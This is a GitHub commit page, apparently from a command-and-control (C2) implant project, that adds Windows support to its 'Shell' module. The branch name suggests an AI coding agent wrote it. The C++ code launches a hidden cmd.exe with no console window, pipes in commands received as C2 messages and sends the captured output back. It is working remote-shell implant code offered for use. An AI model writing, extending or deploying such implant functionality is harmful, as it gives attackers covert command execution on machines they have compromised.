Skip to content

Commit adfe7c2

Browse files
authored
Merge pull request #11 from maxDcb/codex/make-shell-module-compatible-with-windows
Add Windows shell
2 parents e731c3c + 165712f commit adfe7c2

File tree

2 files changed

+149
-9
lines changed

2 files changed

+149
-9
lines changed

modules/Shell/Shell.cpp

Lines changed: 140 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,8 @@
77
#include <unistd.h>
88
#include <sys/select.h>
99
#include <sys/wait.h>
10+
#elif _WIN32
11+
#include <windows.h>
1012
#endif
1113
#include <chrono>
1214

@@ -34,10 +36,17 @@ Shell::Shell()
3436
: ModuleCmd("", moduleHash)
3537
#endif
3638
{
39+
#ifdef _WIN32
40+
ZeroMemory(&m_pi, sizeof(m_pi));
41+
m_hChildStdoutRd = NULL;
42+
m_hChildStdinWr = NULL;
43+
m_program = "cmd.exe /Q /K";
44+
#else
3745
m_masterFd = -1;
3846
m_pid = -1;
39-
m_started = false;
4047
m_program = "/bin/bash";
48+
#endif
49+
m_started = false;
4150
}
4251

4352
Shell::~Shell()
@@ -107,8 +116,54 @@ int Shell::startShell()
107116
m_pid = pid;
108117
m_started = true;
109118
return 0;
110-
#else
111-
return 1;
119+
#elif _WIN32
120+
if(m_started)
121+
return 0;
122+
123+
SECURITY_ATTRIBUTES saAttr;
124+
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
125+
saAttr.bInheritHandle = TRUE;
126+
saAttr.lpSecurityDescriptor = NULL;
127+
128+
HANDLE outRd = NULL, outWr = NULL;
129+
HANDLE inRd = NULL, inWr = NULL;
130+
131+
if(!CreatePipe(&outRd, &outWr, &saAttr, 0))
132+
return 1;
133+
if(!SetHandleInformation(outRd, HANDLE_FLAG_INHERIT, 0))
134+
return 1;
135+
if(!CreatePipe(&inRd, &inWr, &saAttr, 0))
136+
return 1;
137+
if(!SetHandleInformation(inWr, HANDLE_FLAG_INHERIT, 0))
138+
return 1;
139+
140+
STARTUPINFOA si;
141+
PROCESS_INFORMATION pi;
142+
ZeroMemory(&si, sizeof(si));
143+
si.cb = sizeof(si);
144+
si.hStdError = outWr;
145+
si.hStdOutput = outWr;
146+
si.hStdInput = inRd;
147+
si.dwFlags |= STARTF_USESTDHANDLES;
148+
149+
ZeroMemory(&pi, sizeof(pi));
150+
151+
BOOL ok = CreateProcessA(NULL, const_cast<LPSTR>(m_program.c_str()), NULL, NULL, TRUE,
152+
CREATE_NO_WINDOW, NULL, NULL, &si, &pi);
153+
CloseHandle(outWr);
154+
CloseHandle(inRd);
155+
if(!ok)
156+
{
157+
CloseHandle(outRd);
158+
CloseHandle(inWr);
159+
return 1;
160+
}
161+
162+
m_hChildStdoutRd = outRd;
163+
m_hChildStdinWr = inWr;
164+
m_pi = pi;
165+
m_started = true;
166+
return 0;
112167
#endif
113168
}
114169

@@ -125,6 +180,22 @@ void Shell::stopShell()
125180
m_masterFd = -1;
126181
m_pid = -1;
127182
m_started = false;
183+
#elif _WIN32
184+
if(!m_started)
185+
return;
186+
187+
DWORD written = 0;
188+
const char* exitCmd = "exit\n";
189+
WriteFile(m_hChildStdinWr, exitCmd, (DWORD)strlen(exitCmd), &written, NULL);
190+
WaitForSingleObject(m_pi.hProcess, INFINITE);
191+
CloseHandle(m_hChildStdinWr);
192+
CloseHandle(m_hChildStdoutRd);
193+
CloseHandle(m_pi.hProcess);
194+
CloseHandle(m_pi.hThread);
195+
m_hChildStdinWr = NULL;
196+
m_hChildStdoutRd = NULL;
197+
ZeroMemory(&m_pi, sizeof(m_pi));
198+
m_started = false;
128199
#endif
129200
}
130201

@@ -200,8 +271,72 @@ int Shell::process(C2Message &c2Message, C2Message &c2RetMessage)
200271

201272
c2RetMessage.set_instruction(c2Message.instruction());
202273
c2RetMessage.set_returnvalue(output);
203-
#else
204-
c2RetMessage.set_errorCode(1);
274+
#elif _WIN32
275+
if(!m_started)
276+
{
277+
if(!cmd.empty())
278+
m_program = cmd;
279+
if(startShell() != 0)
280+
{
281+
c2RetMessage.set_errorCode(1);
282+
return 0;
283+
}
284+
if(cmd.empty())
285+
{
286+
c2RetMessage.set_instruction(c2Message.instruction());
287+
c2RetMessage.set_returnvalue("shell started");
288+
return 0;
289+
}
290+
}
291+
292+
if(cmd == "exit")
293+
{
294+
stopShell();
295+
c2RetMessage.set_instruction(c2Message.instruction());
296+
c2RetMessage.set_returnvalue("shell terminated");
297+
return 0;
298+
}
299+
300+
if(!cmd.empty())
301+
{
302+
DWORD written = 0;
303+
std::string send = cmd + "\n";
304+
WriteFile(m_hChildStdinWr, send.c_str(), (DWORD)send.size(), &written, NULL);
305+
}
306+
307+
std::string output;
308+
char buffer[512];
309+
DWORD bytes = 0;
310+
auto end = std::chrono::steady_clock::now() + std::chrono::seconds(5);
311+
while(std::chrono::steady_clock::now() < end)
312+
{
313+
DWORD avail = 0;
314+
if(!PeekNamedPipe(m_hChildStdoutRd, NULL, 0, NULL, &avail, NULL))
315+
break;
316+
if(avail)
317+
{
318+
if(ReadFile(m_hChildStdoutRd, buffer, min<DWORD>(sizeof(buffer), avail), &bytes, NULL) && bytes > 0)
319+
{
320+
output.append(buffer, bytes);
321+
end = std::chrono::steady_clock::now() + std::chrono::seconds(2);
322+
}
323+
else
324+
{
325+
break;
326+
}
327+
}
328+
else if(!output.empty())
329+
{
330+
break;
331+
}
332+
else
333+
{
334+
Sleep(100);
335+
}
336+
}
337+
338+
c2RetMessage.set_instruction(c2Message.instruction());
339+
c2RetMessage.set_returnvalue(output);
205340
#endif
206341
return 0;
207342
}

modules/Shell/Shell.hpp

Lines changed: 9 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,9 @@
11
#pragma once
22

3+
#ifdef _WIN32
4+
#include <windows.h>
5+
#endif
6+
37
#include "ModuleCmd.hpp"
48

59
class Shell : public ModuleCmd
@@ -16,18 +20,19 @@ class Shell : public ModuleCmd
1620
int errorCodeToMsg(const C2Message &c2RetMessage, std::string& errorMsg);
1721
int osCompatibility()
1822
{
19-
return OS_LINUX;
23+
return OS_LINUX | OS_WINDOWS;
2024
}
2125

2226
private:
2327
int startShell();
2428
void stopShell();
2529

26-
int m_masterFd;
27-
2830
#ifdef _WIN32
29-
int m_pid;
31+
HANDLE m_hChildStdoutRd;
32+
HANDLE m_hChildStdinWr;
33+
PROCESS_INFORMATION m_pi;
3034
#else
35+
int m_masterFd;
3136
pid_t m_pid;
3237
#endif
3338
std::string m_program;

0 commit comments

Comments
 (0)